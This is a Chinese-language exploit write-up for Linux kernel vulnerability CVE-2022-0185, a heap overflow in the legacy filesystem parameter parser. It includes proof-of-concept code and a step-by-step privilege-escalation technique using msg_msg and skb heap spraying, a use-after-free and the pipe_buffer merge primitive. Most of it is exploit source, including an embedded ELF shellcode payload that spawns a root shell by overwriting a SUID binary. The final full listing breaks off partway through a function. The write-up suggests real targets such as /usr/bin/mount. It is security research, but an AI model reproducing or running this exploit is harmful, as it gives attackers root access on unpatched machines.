CVE-2022-0185

初尝 pipe_primitive
exploit

环境准备

据漏洞发现者所说[1][2],漏洞影响 linux 5.1 版本之后的内核,v5.16.2 已经修复

笔者选取 5.10.6 自行编译内核复现,在 ubuntu 20.04 环境下构建,编译选项一般默认就行

因为笔者所使用的利用方式是参考 veritas501 学长的 pipe primitive[3][4],对含有 root suid 权限的文件进行覆盖达到提权的效果,构建的 busybox rootfs 中准备了一个含有 suid 权限的可执行文件用于被任意写覆盖

实际环境中可以选择 /usr/bin/mount 等程序作为目标

环境已打包至 github:https://github.com/featherL/CVE-2022-0185-exploit

漏洞分析

Syzkaller 给出了一段触发漏洞的 Poc:

#define _GNU_SOURCE 

#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
uint64_t r[1] = {0xffffffffffffffff};
int main(void) {
	syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
	syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
	intptr_t res = 0;
	memcpy((void*)0x20000000, "9p\000", 3);
	res = syscall(__NR_fsopen, 0x20000000ul, 0ul);
	if (res != -1)
		r[0] = res;
	memcpy((void*)0x20001c00, "\000\000\344]\233", 5);
	memcpy((void*)0x20000540, "<long string>", 641);
	syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
	int i;
	for(i = 0; i < 64; i++) {
		syscall(__NR_fsconfig, r[0], 1ul, 0x20001c00ul, 0x20000540ul, 0ul);
	}
	memset((void*)0x20000040, 0, 1);
	memcpy((void*)0x20000800, "<long string>", 641);
	syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
	for(i = 0; i < 64; i++) {
		syscall(__NR_fsconfig, r[0], 1ul, 0x20000040ul, 0x20000800ul, 0ul);
	}
	return 0;
}

经过简化后:

#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void) { 
	char* key = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	int fd = 0;
	fd = fsopen("9p", 0);
	for (int i = 0; i < 130; i++) { 
		fsconfig(fd, FSCONFIG_SET_STRING, "\x00", key, 0);
	}
}

翻看 linux 源码可以知道,存在调用链 fsopen -> fs_context_for_mount -> alloc_fs_context -> legacy_init_fs_context,这为后面的 fsconfig 系统调用,设置相关操作的虚表 legacy_fs_context_ops

const struct fs_context_operations legacy_fs_context_ops = {
	.free			= legacy_fs_context_free,
	.dup			= legacy_fs_context_dup,
	.parse_param		= legacy_parse_param,
	.parse_monolithic	= legacy_parse_monolithic,
	.get_tree		= legacy_get_tree,
	.reconfigure		= legacy_reconfigure,
};

对于 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0) 的调用,则经过调用链 fsconfig -> vfs_fsconfig_locked -> vfs_parse_fs_param -> legacy_parse_param

漏洞发生在 legacy_parse_param 函数中:

static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;

	if (strcmp(param->key, "source") == 0) {
		if (param->type != fs_value_is_string)
			return invalf(fc, "VFS: Legacy: Non-string source");
		if (fc->source)
			return invalf(fc, "VFS: Legacy: Multiple sources");
		fc->source = param->string;
		param->string = NULL;
		return 0;
	}

	if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
		return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
			      param->key);
	}

	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			      param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
	return 0;
}

可以看到 ctx->legacy_data 通过 kmalloc-4k 分配的一块内存:

...
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
		if (!ctx->legacy_data)
			return -ENOMEM;
	}
..

而在写入数据是否越界的判断条件中,使用的是 len > PAGE_SIZE - 2 - size,其中 size 变量是 unsigned int 类型,为 ctx->legacy_data 已经存入数据的大小,当 size 字段大于 PAGE_SIZE - 2 的时候,PAGE_SIZE - 2 - size 结果为负数,但因为运算结果是无符号类型,这就是一个很大的数,条件不成立,后续写入数据的时候就造成了 kmalloc-4k 堆块的溢出

可以知道 fsconfig(fd, FSCONFIG_SET_STRING, key, value, 0) 是往 ctx->legacy_data 这个堆块中以 ,key=value 的方式写入键值对,不过要注意的是,在 fsconfig 的代码中可以发现 key 和 value 的字符串长度(包括\0)不能超过 256,所以要分多次调用来触发漏洞

需要注意 fsopen 需要 CAP_SYS_ADMIN 权限,可以通过创建用户命名空间的方式来获得该权限

漏洞利用

这个漏洞相当于一个 kmalloc-4k 的任意长度溢出漏洞,有了之前复现 CVE-2021-22555 的经验,利用起来很简单,甚至都不需要调试

简单总结一下步骤:

  1. 触发漏洞溢出修改 msg_msg.m_ts
  2. 利用 corrupted_msg_msg 越界泄露信息,可以布局其他 msg_msg 结构体,泄露其 m_list.next/m_list.prev 的 heap 地址
  3. 有了 heap 地址,再次触发漏洞,修改 msg_msg.m_list.next 为 target,target 为堆上的某个 msg_msg 结构体地址
  4. 释放 target,喷射 skb 占位 target
  5. 通过步骤 3 中 corrupted_msg_msg,可以再次释放 target,造成 UAF
  6. 喷射 pipe_buffer 占位 target,splice 任意文件写到 pipe 里
  7. 利用 skb 修改 pipe_buffer 的 flags 字段,向 pipe 写入数据,造成越权改写只读文件

最后两步其实可以 skb 读取 pipe_buffer 的 ops 泄露内核地址,然后 skb 劫持 pipe_buffer 的 ops,close(pipe) 进行 ROP,但笔者为了演示 pipe primitive 而不这么做


prepare overflow

首先准备下触发漏洞越界写的条件,分多次调用 FSCONFIG_SET_STRING,使得 size 为 PAGE_SIZE - 1 绕过 check,那么再下一次 FSCONFIG_SET_STRING 的时候就是从 4k 堆块的最后一个字节开始溢出写了

int call_fsopen()
{
  int fd = fsopen("ext4", 0);
  if (fd < 0)
  {
    die("fsopen() error");
  }
  return fd;
}

void prepare_overflow(int fsid)
{

  char buff[0x100];
  logdebug("prepare fsconfig heap overflow");
  memset(buff, 0, sizeof(buff));
  memset(buff, 'A', 0x100 - 2);
  for (int i = 0; i < 0xf; i++)
  {
    // ",=" + buff
    fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
  }
  memset(buff, 0, sizeof(buff));
  memset(buff, 'B', 0x100 - 3);
  // ",=" + buff
  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}

leak heap

一图胜千言:
leak

首先喷射 4k 大小的 msg_msg,同时附带 64 字节大小的 msg_msgseg,图中橙色标注部分

再喷射 kmalloc-64 <-> kmalloc-1024 的消息队列,即图中蓝色标注部分

因为 64 字节的 msg_msgseg 和 64 字节的 msg_msg 很可能从同一个页中分配,那么当 4k 大小的 msg_msg 的 m_ts 被溢出改大后,通过 64 字节的 msg_msgseg 越界读出后面的 64 字节的 msg_msg 结构数据,则可以泄露出其 m_list.next 指向的 kmalloc-1024 地址,

这里主要参照了 bsauce[5] 师傅的方法

具体操作如下:

#define MSG_A_TEXT_SIZE \
  (0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))

int do_leak_heap(int fsid)
{

  char buff[0x100];
  logdebug("--- do_leak_heap ---");

  prepare_overflow(fsid);

  logdebug("spraying messasge queue 1...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    msg_a->mtype = MTYPE_A;
    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
    ((int *)&msg_a->mtext)[0] = MSG_TAG;
    ((int *)&msg_a->mtext)[1] = i;
    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("spraying messasge queue 2...");
  for (int i = 0; i < NUM_MSQIDS_2; i++)
  {
    size_t n = 1024 - sizeof(struct msg_msg);
    memset(msg_b->mtext, 'B', n);

    ((int *)&msg_b->mtext)[0] = MSG_TAG;
    ((int *)&msg_b->mtext)[1] = i;

    msg_b->mtype = MTYPE_B1;
    n = 64 - sizeof(struct msg_msg);
    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
      die("msgsnd() error");

    msg_b->mtype = MTYPE_B2;
    n = 1024 - sizeof(struct msg_msg);
    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");
  memset(buff, 0, sizeof(buff));
  strcat(buff, "0000000");  // m_list.next
  strcat(buff, "11111111"); // m_list.prev
  strcat(buff, "22222222"); // m_type
  uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;
  memcpy(buff + strlen(buff), &target_size, 2); // m_ts
  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);

  logdebug("searching corrupted msg_msg...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,
                      MSG_COPY | IPC_NOWAIT);
    if (n < 0)
      continue;

    if (n == MSG_A_TEXT_SIZE + 64 * 30)
    {
      corrupted_msqid = msqid_1[i];
      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <
          0) // call clean_msg_1 without crash
        die("msgget() error");

      struct msg_msg *p =
          (struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
      for (int j = 0; j < 30; j++)
      {
        if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&
            ((int *)&p->mtext)[0] == MSG_TAG)
        {
          uaf_msqid = msqid_2[((int *)&p->mtext)[1]];
          loginfo("corrupted_msqid = %d", corrupted_msqid);
          loginfo("uaf_msqid = %d", uaf_msqid);

          kmalloc_1024 = p->m_list.next;

          // call clean_msg_2 without crash
          if ((msqid_2[((int *)&p->mtext)[1]] =
                   msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
            die("msgget() error");

          break;
        }

        p++;
      }

      break;
    }
  }

  clean_msg_1();
  clean_msg_2();

  if (uaf_msqid < 0)
    return 0;

  loginfo("kmalloc_1024 = %#lx", kmalloc_1024);

  return 1;
}

...
int main(int argc, char const *argv[])
{
  int fsid;
  int pid;

...

    init_unshare();
    bind_cpu();
    init_sock();
    init_msg();

    fsid = call_fsopen();
    while (!do_leak_heap(fsid))
    {
      close(fsid);
      fsid = call_fsopen();

      logdebug("retry do_leak_heap()");
    }


...

  return 0;
}

create uaf

释放 kmalloc_1024 的 msg_msg 结构体,再次触发漏洞,修改某个 msg_msg.m_list.next 为 kmalloc_1024,那么就构造了对该地址的 UAF 了

因为漏洞的溢出写入的是字符串 ,key=value,且从 key 开始的位置就是 msg_msg.m_list.next 了,最后还会附加 =,且 kmalloc_1024 最低字节必然是 \0,被覆盖成 = 就不对了,所以无法直接覆盖成 kmalloc_1024,但是可以把 m_list.next 指向 kmalloc_1024 + offset 上,以避免 \0

然后在 kmalloc_1024 + offset 处,伪造一个 msg_msg,其 m_list.next 指向 kmalloc_1024,也就是伪造成下面的效果:

corrupted_msg_msg -> kmalloc_1024 + offset -> kmalloc_1024

create_uaf

要注意 unlink 时 next/prev 指针指向的区域可写

代码如下:

void fake_msg_msg_at_kmalloc_1024()
{
  logdebug("--- fake_msg_msg_at_kmalloc_1024 ---");

  logdebug("free kmalloc-1024");
  if (msgrcv(uaf_msqid, msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2, 0) < 0)
    die("msgrcv() error");

  logdebug("spraying skb...");
  memset(skb, 0, sizeof(skb));
  struct msg_msg *msg = (struct msg_msg *)skb;
  msg->m_list.next = kmalloc_1024 + 0x200; // no matter
  msg->m_list.prev = kmalloc_1024 + 0x300; // no matter
  msg->m_type = MTYPE_FAKE;
  msg->m_ts = 0x100;
  msg->security = 0;

  msg++;
  msg->m_list.next = kmalloc_1024;
  msg->m_list.prev = kmalloc_1024 + 0x400; // no matter
  msg->m_type = MTYPE_A;
  msg->m_ts = 0x233;
  msg->security = 0;

  spray_skbuff_data(skb, sizeof(skb)); 
}

int create_uaf(int fsid)
{
  char buff[0x100];
  int target_idx = -1;

  logdebug("--- create_uaf ---");

  prepare_overflow(fsid);

  logdebug("spraying messasge queue 1...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    msg_a->mtype = MTYPE_A;
    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
    ((int *)&msg_a->mtext)[0] = MSG_TAG;
    ((int *)&msg_a->mtext)[1] = i;
    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("trigger oob write in `legacy_parse_param` to corrupt messageA's "
           "msg_msg.m_ts");
  memset(buff, 0, sizeof(buff));
  struct msg_msg *msg = (struct msg_msg *)buff;
  msg->m_list.next = kmalloc_1024 + sizeof(struct msg_msg);
  msg->m_list.prev = 0xdeadbeefdeadbeef;
  msg->m_type = MTYPE_A; // append '=\x00'
  fsconfig(fsid, FSCONFIG_SET_STRING, buff, "\x00", 0);

  logdebug("searching corrupted msg_msg for freeing fake msg_msg...");
  fake_msqid = -1;
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    size_t n = msgrcv(msqid_1[i], msg_a, 0x100, 2, MSG_COPY | IPC_NOWAIT);
    if (n < 0)
      continue;

    if (n == 0x100 && msg_a->mtype == MTYPE_FAKE)
    {
      fake_msqid = msqid_1[i];
      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
        die("msgget() error");

      loginfo("fake_msqid = %d", fake_msqid);
      break;
    }
  }

  if (fake_msqid < 0)
  {
    clean_msg_1();
    return 0;
  }

  clean_msg_1();

  return 1;
}

int main(int argc, char const *argv[])
{
...

    fake_msg_msg_at_kmalloc_1024();

    close(fsid);
    fsid = call_fsopen();
    while (!create_uaf(fsid))
    {
      close(fsid);
      fsid = call_fsopen();

      logdebug("retry create_uaf()");
    }


...

  return 0;
}

pipe_primitive

此时,通过 corrupted_msg_msg(即 fake_msqid)释放 kmalloc_1024 堆块,然后喷射 pipe_buffer 占位,同时调用 splice 把目标文件缓存页接入 pipe_buffer

利用 skb 修改文件缓存页对应的 pipe_buffer 的 flags 为 PIPE_BUF_FLAG_CAN_MERGE,向 pipe 写入数据即可成功修改只有读权限的 suid 程序文件

通过覆盖 suid 程序文件为恶意代码,执行恶意代码 getshell 提权:

void pipe_primitive()
{
  char buff[0x400];

  logdebug("open target file %s", ATTACK_FILE);
  if ((tfd = open(ATTACK_FILE, O_RDONLY)) < 0)
    die("failed to open target file");

  logdebug("freeing fake msg_msg...");
  if (msgrcv(fake_msqid, msg_a, 0x100, MTYPE_FAKE, 0) < 0)
    die("msgrcv() error");

  logdebug("spraying pipe_buffer...");
  for (int i = 0; i < NUM_PIPEFDS; i++)
  {
    if (pipe(pipe_fd[i]))
    {
      die("Alloc pipe failed");
    }

    write(pipe_fd[i][1], buff, 0x100 + i);

    loff_t offset = 1;
    ssize_t nbytes = splice(tfd, &offset, pipe_fd[i][1], NULL, 1, 0);
    if (nbytes < 0)
    {
      die("splice() failed");
    }
  }

  logdebug("free skbuff_data to make pipe_buffer become UAF");
  int uaf_pipe_idx = -1;
  char backup_skb[sizeof(skb)];
  int PIPE_BUF_FLAG_CAN_MERGE = 0x10;

  memset(skb, 0, sizeof(skb));
  for (int i = 0; i < NUM_SOCKETS; i++)
  {
    for (int j = 0; j < NUM_SKBUFFS; j++)
    {
      if (read(sock_pairs[i][1], skb, sizeof(skb)) < 0)
      {
        die("read from sock pairs failed");
      }

      struct pipe_buffer *pb = (struct pipe_buffer *)skb;
      if (pb->len >= 0x100 && pb->len < 0x100 + NUM_PIPEFDS)
      {
        uaf_pipe_idx = pb->len - 0x100;
        loginfo("uaf_pipe_idx = %d", uaf_pipe_idx);
        memcpy(backup_skb, skb, sizeof(skb));
      }
    }
  }

  if (uaf_pipe_idx < 0)
    die("uaf_pipe_idx not found");

  logdebug("edit pipe_buffer->flags");
  struct pipe_buffer *pb = (struct pipe_buffer *)backup_skb;
  pb[1].len = 0;
  pb[1].offset = 0;
  pb[1].flags = PIPE_BUF_FLAG_CAN_MERGE;
  pb[1].ops = pb[0].ops;
  spray_skbuff_data(backup_skb, sizeof(backup_skb));

  logdebug("try to overwrite %s, by pipe fd %d", ATTACK_FILE,
           pipe_fd[uaf_pipe_idx][1]);
  if (write(pipe_fd[uaf_pipe_idx][1], attack_data, sizeof(attack_data)) !=
      sizeof(attack_data))
    die("write");

  logdebug("see if %s changed", ATTACK_FILE);
  close(tfd);
  tfd = open(ATTACK_FILE, O_RDONLY);
  if (tfd < 0)
  {
    die("open attack file");
  }
  char tmp_buffer[0x10];
  read(tfd, tmp_buffer, 0x10);
  uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
  if (ptr[0] != 0x56565656)
  {
    die("overwrite attack file failed: 0x%08x", ptr[0]);
  }
}

exp

// gcc -static -o exp exp.c
#define _GNU_SOURCE
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) \
  syscall(__NR_fsconfig, fd, cmd, key, value, aux)

#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x80)
#define NUM_MSQIDS_1 (8)
#define NUM_MSQIDS_2 (0x400)
#define NUM_PIPEFDS (0x100)
#define SKB_SHARED_INFO_SIZE 0x140

#define MSG_A_TEXT_SIZE \
  (0x1000 + 0x40 - sizeof(struct msg_msg) - sizeof(struct msg_msgseg))
#define MTYPE_A (0x41)
#define MTYPE_B1 (0x42)
#define MTYPE_B2 (0x43)
#define MTYPE_FAKE (0x45)
#define MSG_TAG (0xdeadaaaa)

#define ATTACK_FILE "/suid-test"

#define logdebug(fmt, ...) \
  dprintf(1, "\033[32m[*] " fmt "\033[0m\n", ##__VA_ARGS__)
#define loginfo(fmt, ...) \
  dprintf(1, "\033[34m[+] " fmt "\033[0m\n", ##__VA_ARGS__)
#define logerror(fmt, ...) \
  dprintf(2, "\033[31m[-] " fmt "\033[0m\n", ##__VA_ARGS__)
#define die(fmt, ...)                      \
  do                                       \
  {                                        \
    logerror(fmt, ##__VA_ARGS__);          \
    logerror("Exit at line %d", __LINE__); \
    write(notify_pipe[1], "N", 1);         \
    exit(1);                               \
  } while (0)

struct list_head
{
  uint64_t next;
  uint64_t prev;
};

struct msg_msg
{
  struct list_head m_list;
  uint64_t m_type;
  uint64_t m_ts;
  uint64_t next;
  uint64_t security;
  char mtext[0];
};

struct msg_msgseg
{
  uint64_t next;
};

struct typ_msg
{
  long mtype;
  char mtext[0];
};

struct pipe_buffer
{
  uint64_t page;
  uint32_t offset;
  uint32_t len;
  uint64_t ops;
  uint32_t flags;
  uint32_t pad;
  uint64_t private;
};

struct pipe_buf_operations
{
  uint64_t confirm;
  uint64_t release;
  uint64_t steal;
  uint64_t get;
};

char msg_buffer[0x2000];
char skb[1024 - SKB_SHARED_INFO_SIZE];
struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer;
int sock_pairs[NUM_SOCKETS][2];
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
int pipe_fd[NUM_PIPEFDS][2];
int notify_pipe[2];
uint64_t kmalloc_1024;
int corrupted_msqid = -1;
int uaf_msqid = -1;
int fake_msqid;
int tfd;

const char attack_data[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x56, 0x56, 0x56,
    0x56, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf6, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xd2,
    0x31, 0xf6, 0x6a, 0x75, 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62,
    0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01, 0x31, 0xf6,
    0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

void init_unshare()
{
  int fd;
  char buff[0x100];

  // strace from `unshare -Ur xxx`
  unshare(CLONE_NEWNS | CLONE_NEWUSER);

  fd = open("/proc/self/setgroups", O_WRONLY);
  snprintf(buff, sizeof(buff), "deny");
  write(fd, buff, strlen(buff));
  close(fd);

  fd = open("/proc/self/uid_map", O_WRONLY);
  snprintf(buff, sizeof(buff), "0 %d 1", getuid());
  write(fd, buff, strlen(buff));
  close(fd);

  fd = open("/proc/self/gid_map", O_WRONLY);
  snprintf(buff, sizeof(buff), "0 %d 1", getgid());
  write(fd, buff, strlen(buff));
  close(fd);
}

void init_msg()
{
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
      die("msgget() error");
  }

  for (int i = 0; i < NUM_MSQIDS_2; i++)
  {
    if ((msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0)
      die("msgget() error");
  }
}

void clean_msg_1()
{
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT);
  }
}

void clean_msg_2()
{
  for (int i = 0; i < NUM_MSQIDS_2; i++)
  {
    msgrcv(msqid_2[i], msg_b, 64 - sizeof(struct msg_msg), MTYPE_B1,
           IPC_NOWAIT);
    msgrcv(msqid_2[i], msg_b, 1024 - sizeof(struct msg_msg), MTYPE_B2,
           IPC_NOWAIT);
  }
}

void init_sock()
{
  for (int i = 0; i < NUM_SOCKETS; i++)
  {
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0)
      die("socketpair() error");
  }
}

void bind_cpu()
{
  cpu_set_t my_set;
  CPU_ZERO(&my_set);
  CPU_SET(0, &my_set);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set))
  {
    die("sched_setaffinity() error");
  }
}

int call_fsopen()
{
  int fd = fsopen("ext4", 0);
  if (fd < 0)
  {
    die("fsopen() error");
  }
  return fd;
}

void spray_skbuff_data(void *ptr, size_t size)
{
  for (int i = 0; i < NUM_SOCKETS; i++)
  {
    for (int j = 0; j < NUM_SKBUFFS; j++)
    {
      if (write(sock_pairs[i][0], ptr, size) < 0)
      {
        die("write to sock pairs failed");
      }
    }
  }
}

void free_skbuff_data(void *ptr, size_t size)
{
  for (int i = 0; i < NUM_SOCKETS; i++)
  {
    for (int j = 0; j < NUM_SKBUFFS; j++)
    {
      if (read(sock_pairs[i][1], ptr, size) < 0)
      {
        die("read from sock pairs failed");
      }
    }
  }
}

void prepare_overflow(int fsid)
{

  char buff[0x100];
  logdebug("prepare fsconfig heap overflow");
  memset(buff, 0, sizeof(buff));
  memset(buff, 'A', 0x100 - 2);
  for (int i = 0; i < 0xf; i++)
  {
    // ",=" + buff
    fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
  }
  memset(buff, 0, sizeof(buff));
  memset(buff, 'B', 0x100 - 3);
  // ",=" + buff
  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);
}

int do_leak_heap(int fsid)
{

  char buff[0x100];
  logdebug("--- do_leak_heap ---");

  prepare_overflow(fsid);

  logdebug("spraying messasge queue 1...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    msg_a->mtype = MTYPE_A;
    memset(msg_a->mtext, 'A', MSG_A_TEXT_SIZE);
    ((int *)&msg_a->mtext)[0] = MSG_TAG;
    ((int *)&msg_a->mtext)[1] = i;
    if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("spraying messasge queue 2...");
  for (int i = 0; i < NUM_MSQIDS_2; i++)
  {
    size_t n = 1024 - sizeof(struct msg_msg);
    memset(msg_b->mtext, 'B', n);

    ((int *)&msg_b->mtext)[0] = MSG_TAG;
    ((int *)&msg_b->mtext)[1] = i;

    msg_b->mtype = MTYPE_B1;
    n = 64 - sizeof(struct msg_msg);
    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
      die("msgsnd() error");

    msg_b->mtype = MTYPE_B2;
    n = 1024 - sizeof(struct msg_msg);
    if (msgsnd(msqid_2[i], msg_b, n, 0) < 0)
      die("msgsnd() error");
  }

  logdebug("trigger oob write in `legacy_parse_param` to msg_msg.m_ts");
  memset(buff, 0, sizeof(buff));
  strcat(buff, "0000000");  // m_list.next
  strcat(buff, "11111111"); // m_list.prev
  strcat(buff, "22222222"); // m_type
  uint64_t target_size = MSG_A_TEXT_SIZE + 64 * 30;
  memcpy(buff + strlen(buff), &target_size, 2); // m_ts
  fsconfig(fsid, FSCONFIG_SET_STRING, "\x00", buff, 0);

  logdebug("searching corrupted msg_msg...");
  for (int i = 0; i < NUM_MSQIDS_1; i++)
  {
    size_t n = msgrcv(msqid_1[i], msg_a_oob, MSG_A_TEXT_SIZE + 64 * 30, 0,
                      MSG_COPY | IPC_NOWAIT);
    if (n < 0)
      continue;

    if (n == MSG_A_TEXT_SIZE + 64 * 30)
    {
      corrupted_msqid = msqid_1[i];
      if ((msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) <
          0) // call clean_msg_1 without crash
        die("msgget() error");

      struct msg_msg *p =
          (struct msg_msg *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
      for (int j = 0; j < 30; j++)
      {
        if (p->m_type == MTYPE_B1 && p->m_ts == 64 - sizeof(struct msg_msg) &&
            ((int *)&p->mtext)[0] == MSG_TAG)
        {
